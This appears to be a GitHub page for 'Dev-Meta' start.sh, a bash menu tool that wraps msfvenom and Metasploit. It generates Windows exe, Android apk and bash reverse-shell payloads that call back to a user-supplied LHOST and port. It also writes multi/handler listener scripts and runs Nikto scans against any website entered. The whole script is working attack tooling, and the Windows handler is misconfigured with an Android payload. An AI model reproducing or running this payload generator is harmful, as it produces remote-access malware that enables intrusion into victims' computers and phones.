-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathstart.sh
136 lines (135 loc) · 5.41 KB
/
start.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/bin/bash
###################
###########Mamoun benhafsa make this programe Dont copy it on your name please
#################################Dont use it in elligle thinks
###################
echo
clear
echo -e "
\e[42m████████▄ ▄████████ ▄█ █▄ ▄▄▄▄███▄▄▄▄ ▄████████ ███ ▄████████
\e[41m███ ▀███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ▀█████████▄ ███ ███
\e[42m███ ███ ███ █▀ ███ ███ ███ ███ ███ ███ █▀ ▀███▀▀██ ███ ███
\e[41m███ ███ ▄███▄▄▄ ███ ███ ███ ███ ███ ▄███▄▄▄ ███ ▀ ███ ███
\e[42m███ ███ ▀▀███▀▀▀ ███ ███ ███ ███ ███ ▀▀███▀▀▀ ███ ▀███████████
\e[41m███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ █▄ ███ ███ ███
\e[41m███ ▄███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
\e[42m████████▀ ██████████ ▀██████▀ ▀█ ███ █▀ ██████████ ▄████▀ ███ █▀
V 1.0"
echo -e "++++++Hello in Dev-Meta++++++"
echo "this proggrame made by *mamoun benhafsa* Dont Take And respect My copright please *__* :) :)"
echo
date
echo -e "First give me your LHOST using ifconfig"
read LHOST
echo "Now give me A port EX: 4444"
read PORT
echo "Select By Nember what you want"
echo "[1] generate windows meterpreter reverse tcp payload +exe+ "
echo "[2] generate apk payload for android"
echo "[3] generate bash reverse_tcp payload"
echo "[4] Scun valn in website using nikto "
echo "[5] CLEAN !!!!"
echo "[6] ABOUT as !! "
read CLS
case $CLS in
##############################################################################################################################windows#################
1 )
echo "Now we will genrate exe Windows payload on outputs Folder "
echo
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$PORT -o outputs/Dev.exe
echo
cd metahandlers
echo
touch Devlisner_windows.rc
echo use exploit/multi/handler >> Devlisner_windows.rc
echo set PAYLOAD android/meterpreter/reverse_tcp >> Devlisner_windows.rc
echo set LHOST $LHOST >> Devlisner_windows.rc
echo set LPORT $PORT >> Devlisner_windows.rc
echo "You can listen using command msfconsole -r Devlisner_windows"
cd ..
echo
clear
echo
./start.sh
;;
###############################################################################################################################android#################
2)
echo "Now we will generate apk payload on outputs Folder"
echo
msfvenom -p android/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$PORT -o outputs/Dev.apk
echo
cd metahandlers
echo
touch Devlisner_android.rc
echo use exploit/multi/handler >> Devlisner_android.rc
echo set PAYLOAD android/meterpreter/reverse_tcp >> Devlisner_android.rc
echo set LHOST $LHOST >> Devlisner_android.rc
echo set LPORT $PORT >> Devlisner_android.rc
echo "You can listen using command msfconsole -r Devlisner_android"
cd ..
echo
clear
echo
./start.sh
;;
############################################################################################################################""bash#######################
3)
echo "Now we will generate Bash payload on outputs Folder"
echo
msfvenom -p cmd/unix/reverse_bash LHOST=$LHOST LPORT=$PORT -o outputs/Dev.sh
echo
cd metahandlers
echo
touch Devlisner_bash.rc
echo use exploit/multi/handler >> Devlisner_bash.rc
echo set PAYLOAD cmd/unix/reverse_bash >> Devlisner_bash.rc
echo set LHOST $LHOST >> Devlisner_bash.rc
echo set LPORT $PORT >> Devlisner_bash.rc
echo "You can listen using command msfconsole -r Devlisner_bash"
cd ..
echo
clear
echo
./start.sh
;;
#####################################################################################################################Nikto################################
4)
echo "Put the adress of the website you want to scan "
read website
echo "Report will save at outputs folder Dev_roport.htm"
echo
nikto -h $website -o outputs/Dev_roport.htm
echo
firefox-esr /root/Desktop/Dev-meta/outputs/Dev_roport.htm
echo "Good luck for find vuln"
echo
clear
echo
./start.sh
;;
################################################################################################################clean#######################################
5)
echo "We are cleaning "
rm outputs/Dev.exe
echo
rm outputs/Dev.apk
echo
rm outputs/Dev.sh
echo
rm metahandlers/Devlisner_windows. rc
echo
rm metahandlers/Devlisner_android.rc
echo
rm metahandlers/Devlisner_bash.rc
echo
rm outputs/Dev_roport.htm
;;
6)
echo
firefox-esr /root/Desktop/Dev-meta/html/whous.html
;;
esac
echo
clear
echo
./start.sh